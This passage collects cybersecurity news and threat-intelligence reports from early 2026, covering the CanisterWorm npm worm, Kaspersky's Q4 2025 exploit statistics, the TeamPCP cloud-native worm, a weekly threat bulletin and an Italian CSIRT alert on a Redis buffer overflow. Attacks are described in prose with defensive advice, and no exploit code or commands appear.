compromised. This includes rotating all secrets, such as cloud credentials, SSH keys, API tokens, and database passwords, and analyzing systems for additional compromise. Follow-up attack spreads CanisterWorm via npm Researchers at Aikido have also linked the same threat actor to a follow-up campaign involving a new self-propagating worm named "CanisterWorm," which targets npm packages. The worm compromises packages, installs a persistent backdoor via a systemd user service, and then uses stolen npm tokens to publish malicious updates to other packages. "Self-propagating worm. deploy.js takes npm tokens, resolves usernames, enumerates all publishable packages, bumps patch versions, and publishes the payload across the entire scope. 28 packages in under 60 seconds," highlights Aikido. The malware uses a decentralized command-and-control mechanism using Internet Computer (ICP) canisters, which act as a dead-drop resolver that provides URLs for additional payloads. Using ICP canisters makes the operation more resistant to takedown, as only the canister's controller can remove it, and any attempt to stop it would require a governance proposal and network vote. The worm also includes functionality to harvest npm authentication tokens from configuration files and environment variables, enabling it to spread across developer environments and CI/CD pipelines. At the time of analysis, some of the secondary payload infrastructure was inactive or configured with harmless content, but the researchers say this could change at any time. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comMar 21, 2026extracted
Exploits and vulnerabilities in Q4 2025
The fourth quarter of 2025 went down as one of the most intense periods on record for high-profile, critical vulnerability disclosures, hitting popular libraries and mainstream applications. Several of these vulnerabilities were picked up by attackers and exploited in the wild almost immediately. In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged with popular C2 frameworks throughout Q4 2025. Statistics on registered vulnerabilities This section contains statistics on registered vulnerabilities. The data is taken from cve.org. Let’s take a look at the number of registered CVEs for each month over the last five years, up to and including the end of 2025. As predicted in our last report, Q4 saw a higher number of registered vulnerabilities than the same period in 2024, and the year-end totals also cleared the bar set the previous year. Total published vulnerabilities by month from 2021 through 2025 (download) Now, let’s look at the number of new critical vulnerabilities (CVSS > 8.9) for that same period. Total number of published critical vulnerabilities by month from 2021 to 2025< (download) The graph shows that the volume of critical vulnerabilities remains quite substantial; however, in the second half of the year, we saw those numbers dip back down to levels seen in 2023. This was due to vulnerability churn: a handful of published security issues were revoked. The widespread adoption of secure development practices and the move toward safer languages also pushed those numbers down, though even that couldn’t stop the overall flood of vulnerabilities. Exploitation statistics This section contains statistics on the use of exploits in Q4 2025. The data is based on open sources and our telemetry. Windows and Linux vulnerability exploitation In Q4 2025, the most prevalent exploits targeted the exact same vulnerabilities that dominated the threat landscape throughout the rest of the year. These were exploits targeting Microsoft Office products with unpatched security flaws. Kaspersky solutions detected the most exploits on the Windows platform for the following vulnerabilities: CVE-2018-0802: a remote code execution vulnerability in Equation Editor. CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor. CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to assume control of the system. The list has remained unchanged for years. We also see that attackers continue to adapt exploits for directory traversal vulnerabilities (CWE-35) when unpacking archives in WinRAR. They are being heavily leveraged to gain initial access via malicious archives on the Windows operating system: CVE-2023-38831: a vulnerability stemming from the improper handling of objects within an archive. CVE-2025-6218 (formerly ZDI-CAN-27198): a vulnerability that enables an attacker to specify a relative path and extract files into an arbitrary directory. This can lead to arbitrary code execution. We covered this vulnerability in detail in our Q2 2025 report. CVE-2025-8088: a vulnerability we analyzed in our previous report, analogous to CVE-2025-6218. The attackers used NTFS streams to circumvent controls on the directory into which files were being unpacked. As in the previous quarter, we see a rise in the use of archiver exploits, with fresh vulnerabilities increasingly appearing in attacks. Below are the exploit detection trends for Windows users over the last two years. Dynamics of the number of Windows users encountering exploits, Q1 2024 – Q4 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download) The vulnerabilities listed here can be used to gain initial access to a vulnerable system. This highlights the critical importance of timely security updates for all affected software. On Linux-based devices, the most frequently detected exploits targeted the following vulnerabilities: CVE-2022-0847, also known as Dirty Pipe: a vulnerability that allows privilege escalation and enables attackers to take control of running applications. CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation. CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem. CVE-2023-32233: another vulnerability in the Netfilter subsystem that creates a use-after-free condition, allowing for privilege escalation due to the improper handling of network requests. Dynamics of the number of Linux users encountering exploits, Q1 2024 – Q4 2025. The number of users who encountered exploits in Q1 2024 is taken as 100% (download) We are seeing a massive surge in Linux-based exploit attempts: in Q4, the number of affected users doubled compared to Q3. Our statistics show that the final quarter of the year accounted for more than half of all Linux exploit attacks recorded for the entire year. This surge is primarily driven by the rapidly growing number of Linux-based consumer devices. This trend naturally attracts the attention of threat actors, making the installation of security patches critically important. Most common published exploits The distribution of published exploits by software type in Q4 2025 largely mirrors the patterns observed in the previous quarter. The majority of exploits we investigate through our monitoring of public research, news, and PoCs continue to target vulnerabilities within operating systems. Distribution of published exploits by platform, Q1 2025 (download) Distribution of published exploits by platform, Q2 2025 (download) Distribution of published exploits by platform, Q3 2025 (download) Distribution of published exploits by platform, Q4 2025 (download) In Q4 2025, no public exploits for Microsoft Office products emerged; the bulk of the vulnerabilities were issues discovered in system components. When calculating our statistics, we placed these in the OS category. Vulnerability exploitation in APT attacks We analyzed which vulnerabilities were utilized in APT attacks during Q4 2025. The following rankings draw on our telemetry, research, and open-source data. TOP 10 vulnerabilities exploited in APT attacks, Q4 2025 (download) In Q4 2025, APT attacks most frequently exploited fresh vulnerabilities published within the last six months. We believe that these CVEs will remain favorites among attackers for a long time, as fixing them may require significant structural changes to the vulnerable applications or the user’s system. Often, replacing or updating the affected components requires a significant amount of resources. Consequently, the probability of an attack through such vulnerabilities may persist. Some of these new vulnerabilities are likely to become frequent tools for lateral movement within user infrastructure, as the corresponding security flaws have been discovered in network services that are accessible without authentication. This heavy exploitation of very recently registered vulnerabilities highlights the ability of threat actors to rapidly implement new techniques and adapt old ones for their attacks. Therefore, we strongly recommend applying the security patches provided by vendors. C2 frameworks In this section, we will look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks. The chart below shows the frequency of known C2 framework usage in attacks against users during Q4 2025, according to open sources. TOP 10 C2 frameworks used by APTs to compromise user systems in Q4 2025 (download) Despite the significant footprints it can leave when used in its default configuration, Sliver continues to hold the top spot among the most common C2 frameworks in our Q4 2025 analysis. Mythic and Havoc were second and third, respectively. After reviewing open sources and analyzing malicious C2 agent samples that contained exploits, we found that the following vulnerabilities were used in APT attacks involving the C2 frameworks mentioned above: CVE-2025-55182: a React2Shell vulnerability in React Server Components that allows an unauthenticated user to send commands directly to the server and execute them from RAM. CVE-2023-36884: a vulnerability in the Windows Search component that allows the execution of commands on a system, bypassing security mechanisms built into Microsoft Office applications. CVE-2025-53770: a critical insecure deserialization vulnerability in Microsoft SharePoint that allows an unauthenticated user to execute commands on the server. CVE-2020-1472, also known as Zerologon, allows for compromising a vulnerable domain controller and executing commands as a privileged user. CVE-2021-34527, also known as PrintNightmare, exploits flaws in the Windows print spooler subsystem, enabling remote access to a vulnerable OS and high-privilege command execution. CVE-2025-8088 and CVE-2025-6218 are similar directory-traversal vulnerabilities that allow extracting files from an archive to a predefined path without the archiving utility notifying the user. The set of vulnerabilities described above suggests that attackers have been using them for initial access and early-stage maneuvers in vulnerable systems to create a springboard for deploying a C2 agent. The list of vulnerabilities includes both zero-days and well-known, established security issues. Notable vulnerabilities This section highlights the most noteworthy vulnerabilities that were publicly disclosed in Q4 2025 and have a publicly available description. React2Shell (CVE-2025-55182): a vulnerability in React Server Components We typically describe vulnerabilities affecting a specific application. CVE-2025-55182 stood out as an exception, as it was discovered in React, a library primarily used for building web applications. This means that exploiting the vulnerability could potentially disrupt a vast number of applications that rely on the library. The vulnerability itself lies in the interaction mechanism between the client and server components, which is built on sending serialized objects. If an attacker sends serialized data containing malicious functionality, they can execute JavaScript commands directly on the server, bypassing all client-side request validation. Technical details about this vulnerability and an example of how Kaspersky solutions detect it can be found in our article. CVE-2025-54100: command injection during the execution of curl (Invoke-WebRequest) This vulnerability represents a data-handling flaw that occurs when retrieving information from a remote server: when executing the curl or Invoke-WebRequest command, Windows launches Internet Explorer in the background. This can lead to a cross-site scripting (XSS) attack. CVE-2025-11001: a vulnerability in 7-Zip This vulnerability reinforces the trend of exploiting security flaws found in file archivers. The core of CVE-2025-11001 lies in the incorrect handling of symbolic links. An attacker can craft an archive so that when it is extracted into an arbitrary directory, its contents end up in the location pointed to by a symbolic link. The likelihood of exploiting this vulnerability is significantly reduced because utilizing such functionality requires the user opening the archive to possess system administrator privileges. This vulnerability was associated with a wave of misleading news reports claiming it was being used in real-world attacks against end users. This misconception stemmed from an error in the security bulletin. RediShell (CVE-2025-49844): a vulnerability in Redis The year 2025 saw a surge in high-profile vulnerabilities, several of which were significant enough to earn a unique nickname. This was the case with CVE-2025-49844, also known as RediShell, which was unveiled during a hacking competition. This vulnerability is a use-after-free issue related to how the load command functions within Lua interpreter scripts. To execute the attack, an attacker needs to prepare a malicious script and load it into the interpreter. As with any named vulnerability, RediShell was immediately weaponized by threat actors and spammers, albeit in a somewhat unconventional manner. Because technical details were initially scarce following its disclosure, the internet was flooded with fake PoC exploits and scanners claiming to test for the vulnerability. In the best-case scenario, these tools were non-functional; in the worst, they infected the system. Notably, these fraudulent projects were frequently generated using LLMs. They followed a standardized template and often cross-referenced source code from other identical fake repositories. CVE-2025-24990: a vulnerability in the ltmdm64.sys driver Driver vulnerabilities are often discovered in legitimate third-party applications that have been part of the official OS distribution for a long time. Thus, CVE-2025-24990 has existed within code shipped by Microsoft throughout nearly the entire history of Windows. The vulnerable driver has been shipped since at least Windows 7 as a third-party driver for Agere Modem. According to Microsoft, this driver is no longer supported and, following the discovery of the flaw, was removed from the OS distribution entirely. The vulnerability itself is straightforward: insecure handling of IOCTL codes leading to a null pointer dereference. Successful exploitation can lead to arbitrary command execution or a system crash resulting in a blue screen of death (BSOD) on modern systems. CVE-2025-59287: a vulnerability in Windows Server Update Services (WSUS) CVE-2025-59287 represents a textbook case of insecure deserialization. Exploitation is possible without any form of authentication; due to its ease of use, this vulnerability rapidly gained traction among threat actors. Technical details and detection methodologies for our product suite have been covered in our previous advisories. Conclusion and advice In Q4 2025, the rate of vulnerability registration has shown no signs of slowing down. Consequently, consistent monitoring and the timely application of security patches have become more critical than ever. To ensure resilient defense, it is vital to regularly assess and remediate known vulnerabilities while implementing technology designed to mitigate the impact of potential exploits. Continuous monitoring of infrastructure, including the network perimeter, allows for the timely identification of threats and prevents them from escalating. Effective security also demands tracking the current threat landscape and applying preventative measures to minimize risks associated with system flaws. Kaspersky Next serves as a reliable partner in this process, providing real-time identification and detailed mapping of vulnerabilities within the environment. Securing the workplace remains a top priority. Protecting corporate devices requires the adoption of solutions capable of blocking malware and preventing it from spreading. Beyond basic measures, organizations should implement adaptive systems that allow for the rapid deployment of security updates and the automation of patch management workflows.
securelist.comMar 6, 2026extracted
TeamPCP Worm Exploits Cloud Infrastructure to Build Criminal Infrastructure
Cybersecurity researchers have called attention to a "massive campaign" that has systematically targeted cloud native environments to set up malicious infrastructure for follow-on exploitation. The activity, observed around December 25, 2025, and described as "worm-driven," leveraged exposed Docker APIs, Kubernetes clusters, Ray dashboards, and Redis servers, along with the recently disclosed React2Shell (CVE-2025-55182, CVSS score: 10.0) vulnerability. The campaign has been attributed to a threat cluster known as TeamPCP (aka DeadCatx3, PCPcat, PersyPCP, and ShellForce). TeamPCP is known to be active since at least November 2025, with the first instance of Telegram activity dating back to July 30, 2025. The TeamPCP Telegram channel currently has over 700 members, where the group publishes stolen data from diverse victims across Canada, Serbia, South Korea, the U.A.E., and the U.S. Details of the threat actor were first documented by Beelzebub in December 2025 under the name Operation PCPcat. "The operation's goals were to build a distributed proxy and scanning infrastructure at scale, then compromise servers to exfiltrate data, deploy ransomware, conduct extortion, and mine cryptocurrency," Flare security researcher Assaf Morag said in a report published last week. TeamPCP is said to function as a cloud-native cybercrime platform, leveraging misconfigured Docker APIs, Kubernetes APIs, Ray dashboards, Redis servers, and vulnerable React/Next.js applications as main infection pathways to breach modern cloud infrastructure to facilitate data theft and extortion. In addition, the compromised infrastructure is misused for a wide range of other purposes, ranging from cryptocurrency mining and data hosting to proxy and command-and-control (C2) relays. Rather than employing any novel tradecraft, TeamPCP leans on tried-and-tested attack techniques, such as existing tools, known vulnerabilities, and prevalent misconfigurations, to build an exploitation platform that automates and industrializes the whole process. This, in turn, transforms the exposed infrastructure into a "self-propagating criminal ecosystem," Flare noted. Successful exploitation paves the way for the deployment of next-stage payloads from external servers, including shell- and Python-based scripts that seek out new targets for further expansion. One of the core components is "proxy.sh," which installs proxy, peer-to-peer (P2P), and tunneling utilities, and delivers various scanners to continuously search the internet for vulnerable and misconfigured servers. "Notably, proxy.sh performs environment fingerprinting at execution time," Morag said. "Early in its runtime, it checks whether it is running inside a Kubernetes cluster." "If a Kubernetes environment is detected, the script branches into a separate execution path and drops a cluster-specific secondary payload, indicating that TeamPCP maintains distinct tooling and tradecraft for cloud-native targets rather than relying on generic Linux malware alone." A brief description of the other payloads is as follows - scanner.py, which is designed to find misconfigured Docker APIs and Ray dashboards by downloading Classless Inter-Domain Routing (CIDR) lists from a GitHub account named "DeadCatx3," while also featuring options to run a cryptocurrency miner ("mine.sh"). kube.py, which includes Kubernetes-specific functionality to conduct cluster credential harvesting and API-based discovery of resources such as pods and namespaces, followed by dropping "proxy.sh" into accessible pods for broader propagation and setting up a persistent backdoor by deploying a privileged pod on every node that mounts the host. react.py, which is designed to exploit the React flaw (CVE-2025-29927) to achieve remote command execution at scale. pcpcat.py, which is designed to discover exposed Docker APIs and Ray dashboards across large IP address ranges and automatically deploy a malicious container or job that executes a Base64-encoded payload. Flare said the C2 server node located at 67.217.57[.]240 has also been linked to the operation of Sliver, an open-source C2 framework that's known to be abused by threat actors for post-exploitation purposes. Data from the cybersecurity company shows that the threat actors mainly single out Amazon Web Services (AWS) and Microsoft Azure environments. The attacks are assessed to be opportunistic in nature, primarily targeting infrastructure that supports its goals rather than going after specific industries. The result is that organizations that run such infrastructure become "collateral victims" in the process. "The PCPcat campaign demonstrates a full lifecycle of scanning, exploitation, persistence, tunneling, data theft, and monetization built specifically for modern cloud infrastructure," Morag said. "What makes TeamPCP dangerous is not technical novelty, but their operational integration and scale. Deeper analysis shows that most of their exploits and malware are based on well-known vulnerabilities and lightly modified open-source tools." "At the same time, TeamPCP blends infrastructure exploitation with data theft and extortion. Leaked CV databases, identity records, and corporate data are published through ShellForce to fuel ransomware, fraud, and cybercrime reputation building. This hybrid model allows the group to monetize both compute and information, giving it multiple revenue streams and resilience against takedowns."
thehackernews.comFeb 9, 2026extracted
ThreatsDay Bulletin: Pixel Zero-Click, Redis RCE, China C2s, RAT Ads, Crypto Scams & 15+ Stories
Most of this week’s threats didn’t rely on new tricks. They relied on familiar systems behaving exactly as designed, just in the wrong hands. Ordinary files, routine services, and trusted workflows were enough to open doors without forcing them. What stands out is how little friction attackers now need. Some activity focused on quiet reach and coverage, others on timing and reuse. The emphasis wasn’t speed or spectacle, but control gained through scale, patience, and misplaced trust. The stories below trace where that trust bent, not how it broke. Each item is a small signal of a larger shift, best seen when viewed together. Spear-phishing delivers custom backdoorGovernment entities in Afghanistan have been at the receiving end of a spear-phishing campaign dubbed Operation Nomad Leopard that employs bogus administrative documents as decoys to distribute a backdoor named FALSECUB by means of a GitHub-hosted ISO image file. The campaign was first detected in late December 2025. "The ISO file contains three files," Seqrite Lab said. "The LNK file, Doc.pdf.lnk, is responsible for displaying the PDF to the victim and executing the payload. The PDF file, doc.pdf, contains the government-themed lure." The final payload is a C++ executable that's capable of receiving commands from an external server. The activity has not been attributed to any specific country or known hacker group. "The campaign appears to be conducted by a regionally focused threat actor with a low-to-moderate sophistication level," the Indian cybersecurity company added. DoS attacks hit UK servicesThe U.K. government is warning of continued malicious activity from Russian-aligned hacktivist groups like NoName057(16) targeting critical infrastructure and local government organizations in the country with denial-of-service (DoS) attacks. The end goal of these attacks is to take websites offline and disable access to essential services. "Although DoS attacks are typically low in sophistication, a successful attack can disrupt entire systems, costing organisations significant time, money, and operational resilience by having to analyse, defend against, and recover from them," the U.K. National Cyber Security Centre (NCSC) said. Trusted apps load malicious DLLsGoogle-owned VirusTotal has disclosed details of an information stealer campaign that relies on a trusted executable to trick the operating system into loading a malicious DLL ("CoreMessaging.dll") payload – a technique called DLL side-loading – leading to the execution of secondary-stage infostealers designed to exfiltrate sensitive data. Both the executable and the DLL are distributed via ZIP archives that mimic installers for legitimate applications like Malwarebytes (e.g., "malwarebytes-windows-github-io-6.98.5.zip") and other programs. WSL abused without process spawnSpecterOps researcher Daniel Mayer has released a beacon object file (BOF) – a compiled C program designed to run within the memory of a post-exploitation agent like Cobalt Strike Beacon – that interacts with the Windows Subsystem for Linux (WSL) by directly invoking the WSL COM service, avoiding process creation for "wsl.exe" entirely and allowing operators to list all installed WSL distributions and execute arbitrary commands on any WSL distribution that the BOF finds. Ads push covert RAT installersCybersecurity researchers have disclosed an active malicious campaign that uses advertisements placed on legitimate websites to lure users into downloading "converter" tools for converting images or documents. These services share a similar website template and go by names like Easy2Convert, ConvertyFile, Infinite Docs, and PowerDoc. Should a user end up attempt to download the program, they are redirected to another domain that actually hosts the C# dropper files. "In the foreground, these tools usually work as promised, so users do not become suspicious," Nextron Systems said. "In the background, however, they behave almost identically: they install persistent remote access trojans (RATs) that give the threat actor continuous access to the victim system." Specifically, the executable is designed to establish persistence using a scheduled task, which points to the main payload, a .NET application that initiates communication with a remote server, executes .NET assemblies received from the server, and sends the results back via an HTTP POST request. Short-lived TLS certs roll outLet's Encrypt said its short-lived TLS certificates with a 6-day lifetime are now generally available. Each certificate is valid for a period of 160 hours from the time it is issued. "Short-lived certificates are opt-in and we have no plan to make them the default at this time. Subscribers that have fully automated their renewal process should be able to switch to short-lived certificates easily if they wish, but we understand that not everyone is in that position and generally comfortable with this significantly shorter lifetime," Let's Encrypt said. To request one, operators must select the "shortlived" profile in their ACME client. Short-lived certificates are opt-in and there are no plans to make them the default at this time, the non-profit certificate authority added. Support tickets abused for spamZendesk has revealed that unsecured support systems are being used to send spam emails. The attacks take advantage of Zendesk's ability to allow unverified users to submit support tickets, which then automatically generate confirmation emails that are sent to the email address entered by the attacker. This automated response system is being weaponized to turn the support platform into a delivery vehicle for spam by creating fake tickets. "These emails look like legitimate contacts from companies that use Zendesk to communicate with their customers, and are a spam tactic known as relay spam," the customer relationship management (CRM) vendor said in an advisory. The company described it as a "potential side effect" that arises when Zendesk is set to allow unverified users to submit requests, adding that it's actively working to reduce spam and prevent new spam campaigns. It has also urged customers to remove specific placeholders from first-reply triggers and permit only added users to submit tickets. EU targets high-risk suppliersThe European Commission has proposed new cybersecurity legislation mandating the removal of high-risk suppliers to secure telecommunications networks and strengthen defenses against state-backed and cybercrime groups targeting critical infrastructure. "The new Cybersecurity Act aims to reduce risks in the EU's ICT supply chain from third-country suppliers with cybersecurity concerns," the Commission said. "It sets out a trusted ICT supply chain security framework based on a harmonised, proportionate and risk-based approach. This will enable the E.U. and Member States to jointly identify and mitigate risks across the EU's 18 critical sectors, considering also economic impacts and market supply." The revised Cybersecurity Act is also expected to ensure that products and services reaching E.S. consumers are tested for security in a more efficient way through a renewed European Cybersecurity Certification Framework (ECCF). The amended act will take effect immediately upon approval by the European Parliament and the Council of the E.U. Once adopted, member states have one year to implement the directive into national law. Mass scans probe plugin exposureThreat intelligence firm GreyNoise has uncovered a large-scale WordPress plugin reconnaissance activity aimed at enumerating potentially vulnerable sites. The mass scanning, observed between October 20, 2025, and January 19, 2026, involved 994 unique IP addresses across 145 ASNs targeting 706 distinct WordPress plugins in over 40,000 unique enumeration events. The most targeted plugins are Post SMTP, Loginizer, LiteSpeed Cache, SEO by Rank Math, Elementor, and Duplicator. The activity touched a new high on December 7, 2025, when 6,550 unique sessions were recorded. More than 95% of the spike was driven by a single IP address: 112.134.208[.]214. Users of the aforementioned plugins are advised to keep them up-to-date. Crate vulnerabilities surface earlyThe Rust project has updated Crates.io to include a "Security" tab on individual crate pages. The tab displays security advisories drawn from the RustSec database and lists which versions of a crate may have known vulnerabilities. This change gives developers an easy way to view relevant security information before adding the crate as a dependency. "The tab shows known vulnerabilities for the crate along with the affected version ranges," the maintainers said. Other improvements include expanded Trusted Publishing support, which now works with GitLab CI/CD in addition to GitHub Actions, and a new Trusted Publishing mode that, when enabled, turns off traditional API token-based publishing so as to reduce the risk of unauthorized publishes from leaked API tokens. Trusted Publishing has also been updated to block pull_request_target and workflow_run GitHub Actions triggers. "These triggers have been responsible for multiple security incidents in the GitHub Actions ecosystem and are not worth the risk," the Crates.io team said. China hosts vast C2 footprintA new analysis from Hunt.io has revealed that the Chinese internet space is hosting more than 18,000 active command-and-control (C2 or C&C) servers across 48 different providers over the last three months. China Unicom hosts nearly half of all observed servers, with Alibaba Cloud and Tencent following suit. More than half of the C2 servers (about 9,427 unique C2 IPs) are used to control an IoT botnet known as Mozi. A chunk of the remaining C2 servers is used for activity related to Cobalt Strike (1,204), VShell (830), and Mirai (703). "Across Chinese hosting environments, a small number of large telecom and cloud providers account for the majority of observed command-and-control activity, supporting everything from commodity malware and IoT botnets to phishing operations and state-linked tooling," Hunt.io said. Military-linked espionage probeA 33-year-old former IT consultant for Sweden's Armed Forces has been detained on suspicion of passing information to Russia's intelligence service, according to the Swedish Prosecution Authority. The suspected criminal activity took place throughout 2025 and until January 4, 2026, but Swedish authorities suspect the espionage may have been ongoing since 2022, when Russia launched its full-scale invasion of Ukraine. The suspect, who has denied any wrongdoing, worked as an IT consultant for the Swedish military from 2018 to 2022, per the AFP. The investigation is said to be still in early stages. In February 2021, a 47-year-old Swedish tech consultant was charged with espionage for allegedly selling information about truckmaker Scania and Volvo Cars to a Russian diplomat for several years. He was sentenced to three years in prison later that September. Supply-chain platform fully exposedCritical vulnerabilities (from CVE-2026-22236 through CVE-2026-22240) have been disclosed in the Bluvoyix platform of Bluspark Global, a cloud-based solution that's used to help shippers manage their supply chain data, which could have allowed a bad actor to gain full control of the platform and access customer and shipment data. They could have enabled access to customer accounts and track freight and component shipments, as well as enabled complete access to the platform's API without the need for authentication. This loophole could have been weaponized to create administrator accounts for follow-on exploitation. The vulnerabilities have since been patched, but not before a protracted disclosure process. Security researcher Eaton Zveare, who has previously uncovered security holes in platforms used by automotive firms, said the "admin access made it possible to view, modify, and even cancel customer shipments going back to 2007." Crypto scams hit record scaleCryptocurrency scams received at least $14 billion worth of cryptocurrency in 2025, a jump from $12 billion reported in the year prior. The average scam payment extracted from victims also increased from $782 to $2,764. High-yield investment and pig butchering remained the most dominant categories by volume, even as impersonation scams – which involve fraudsters posing as legitimate organizations such as E-ZPass to manipulate victims into transferring funds – surged 1,400%. Based on historical trends, the 2025 figure is projected to exceed $17 billion as more illicit wallet addresses are identified in the coming months, Chainalysis said. Scammers have been found increasingly leveraging deepfake technology and AI-generated content to create convincing impersonations in romance and investment scams. "Major scam operations became increasingly industrialized, with sophisticated infrastructure, including phishing-as-a-service tools, AI-generated deepfakes, and professional money laundering networks," the company said. "Pig-butchering networks across Southeast Asia, drawing heavily on CMLNs [Chinese money laundering networks], generate billions of dollars annually and rely on layered wallet structures, exchanges, shell companies, and informal banking channels to launder funds and convert crypto into real-world assets, including real estate and luxury goods." ATM malware ring dismantledA group of five Venezuelan nationals has pleaded guilty or been sentenced for their involvement in a multi-state ATM jackpotting thefts between September 14 and 16, 2024, that used sophisticated malware to steal thousands of dollars across Georgia, Florida, and Kentucky. The group, Hector Alejandro Alvarado Alvarez (20), Cesar Augusto Gil Sanchez (22), Javier Alejandro Suarez-Godoy (20), David Josfrangel Suarez-Sanchez (24), and Giobriel Alexander Valera-Astudillo (26), targeted various financial institutions by deploying malware or accessing the ATM's supervisor mode to trigger cash withdrawals. Members of the group were caught on camera carrying out the attacks and were identified based on fingerprints left behind on the ATM machines. They face up to 30 years in prison, followed by immediate deportation. Zero-click chain hits PixelGoogle Project Zero has released a zero-click exploit (Part 1, Part 2, and Part 3) that can compromise Android smartphones via the Dolby audio decoder. The exploit is made possible because the Google Messages application automatically processes incoming audio attachments in the background for transcription purposes and decodes them without requiring user interaction. The exploit leverages CVE-2025-54957 to gain arbitrary code execution in the mediacodec context of a Google Pixel 9, and then makes use of CVE-2025-36934, a use-after-free in the BigWave driver, to escalate privileges from mediacodec to kernel on the device. "The time investment required to find the necessary vulnerabilities was small compared to the impact of this exploit, especially for the privilege escalation stage," researcher Natalie Silvanovich said. "The time needed to find the bugs for a 0-click exploit chain on Android can almost certainly be measured in person-weeks for a well-resourced attacker." While Dolby patched the flaw in October 2025, Samsung was the first mobile vendor to patch the vulnerability the next month. Pixel devices did not get the patch until January 5, 2026. A patch for the BigWave driver flaw was shipped to Pixel devices on January 6, 2026. Malicious ads seed infostealerA malvertising campaign detected by Sophos in September 2025 used Google Ads to redirect victims to deceptive sites that promoted a trojanized PDF editing application called AppSuite PDF Editor. The application, once installed, appeared legitimate to users, but stealthily delivered an information stealer dubbed TamperedChef targeting Windows devices. The actively evolving threat cluster is known to employ tactics like delayed execution, staying dormant for about 56 days before activating the infostealer behavior to ensure persistence. The time period aligns with the typical 30-60-day cycle of paid advertising campaigns. TamperedChef is assessed to be a part of a wider campaign known as EvilAI. According to telemetry data gathered by the cybersecurity company, over 100 systems were affected by the campaign, with the majority of the victims located in Germany (~15%), the U.K. (~14%), and France (~9%). "Victims of this campaign span a variety of industries, particularly those where operations rely heavily on specialized technical equipment – possibly because users in those industries frequently search online for product manuals, a behavior that the TamperedChef campaign exploits to distribute malicious software," the company said. PNG files hide JS stealerA new phishing campaign has been observed using phony pharmaceutical invoices to trick recipients into opening ZIP archives containing JavaScript that, upon execution, uses PowerShell to download a malicious PNG image hosted on the Internet Archive. "But this isn't actually a standard PNG. Well, it is, but with extras," Swiss Post Cybersecurity said. "The attackers embedded a Base64-encoded payload after the IEND chunk of the PNG, which marks the official end of the image data. The file still renders as a valid image in any viewer. The actual malware sits between two custom markers, BaseStart- and -BaseEnd." The extracted payload between these markers is used to launch a malware loader known as VMDetectLoader, which is responsible for persistence, environment checks, and launching PureLogs Stealer, a commodity stealer developed by a threat actor known as PureCoder. It's worth noting that VMDetectLoader has been previously used to deliver DCRat in attacks targeting Colombia. Loan lures harvest bank dataA large-scale loan phishing operation in Peru has been discovered abusing fake loan offers to harvest sensitive personal and banking information (bank card details, online banking password, and a 6-digit PIN code) from unsuspecting users. The campaign is propagated via social media advertisements. The threat actors behind the operation have created approximately 370 unique domains impersonating banks in Peru, Colombia, El Salvador, Chile, and Ecuador since 2024. "This particular phishing targets individuals through a seemingly legitimate loan application process, designed to harvest valid card credentials and corresponding PIN codes," Group-IB said. "These credentials are then either sold on the black market or used in further phishing activities." As soon as the details are entered on the fake sites, a script running in the background on the web page validates the information using the Luhn algorithm to ensure that the entered credit card details and government identification number are genuine. Fake installer sells bandwidthA threat actor tracked as Larva-25012 is making use of a fake Notepad++ installer as a lure to distribute proxyware in attacks targeting South Korea. The installers, written in C++ and hosted on GitHub, are promoted through advertisement pages on websites posing as download portals for cracked or otherwise illegal software. "These installers drop the downloader malware DPLoader. Once registered in the Windows Task Scheduler, DPLoader executes persistently and retrieves commands from its C&C server. All PowerShell scripts observed to date have included logic to install various Proxyware tools," AhnLab said. "In addition, the attacker is actively changing techniques to evade detection -- such as injecting Proxyware into the Windows Explorer process or leveraging Python-based loaders." The objective of these attacks is to install proxyware on the victim's machine without their knowledge, and monetize their unused internet bandwidth by selling it to third parties. Larva-25012 is assessed to be active since at least 2024, distributing multiple types of proxyware, including DigitalPulse, Honeygain, and Infatica. Taken together, these incidents show how quickly the “background layer” of technology has become the front line. The weakest points weren’t exotic exploits, but the spaces people stop watching once systems feel stable. The takeaway isn’t a single threat or fix. It’s the pattern: exposure accumulates quietly, then surfaces all at once. The full list makes that pattern hard to ignore.
thehackernews.comJan 22, 2026extracted
Redis: PoC pubblico per lo sfruttamento della CVE-2025-62507
Redis: PoC pubblico per lo sfruttamento della CVE-2025-62507 Alert AL01/260119/CSIRT-ITA Sintesi Disponibile un Proof of Concept (PoC) per la CVE-2025-62507 – presente in Redis, noto DBMS open source di tipo NoSQL. Tale vulnerabilità, qualora sfruttata, potrebbe consentire ad un utente malintenzionato remoto di eseguire codice arbitrario sui sistemi interessati. Tipologia Remote Code Execution Descrizione e potenziali impatti È stato recentemente reso pubblico un Proof of Concept (PoC) per la CVE-2025-62507 – di tipo “Remote Code Execution” e con score CVSS v3.x pari a 8.8 – presente in Redis, DBMS open source di tipo NoSQL. In dettaglio, la vulnerabilità risiede nel nuovo comando XACKDEL, responsabile dell'analisi e dell'elaborazione dell'elenco di ID flusso forniti dall'utente e introdotto per semplificare e ottimizzare la pulizia del flusso. XACKDEL combina la conferma dei messaggi (come XACK) e la loro eliminazione da un flusso (come XDEL) in un'unica operazione atomica. XACKDEL accetta un numero variabile di ID messaggio. Per elaborarli in modo efficiente, la funzione analizza ogni ID fornito dall'utente e lo memorizza in un array di dimensione fissa (static_ids) allocato nello stack. Ogni ID di flusso analizzato è rappresentato internamente come una struttura streamID composta da due interi a 64 bit. Il problema principale è che il codice non verifica che il numero di ID forniti dal client rientri nei limiti di questo array allocato nello stack. Di conseguenza, quando vengono forniti più ID di quanti l'array possa contenere, la funzione continua a scrivere oltre la fine del buffer. Ciò si traduce in un classico stack buffer overflow, il quale non si limita a corrompere i dati adiacenti, ma consentirebbe ad un malintezionato di sovrascrivere i contenuti sensibili dello stack, ottenendo con successo l'esecuzione di codice remoto. È inoltre importante notare che, per impostazione predefinita, Redis non impone alcuna autenticazione, rendendo questa un'esecuzione di codice remoto non autenticata. Prodotti e/o versioni affette Redis, versione 8.2.0 e successive Azioni di mitigazione Ove non provveduto, si 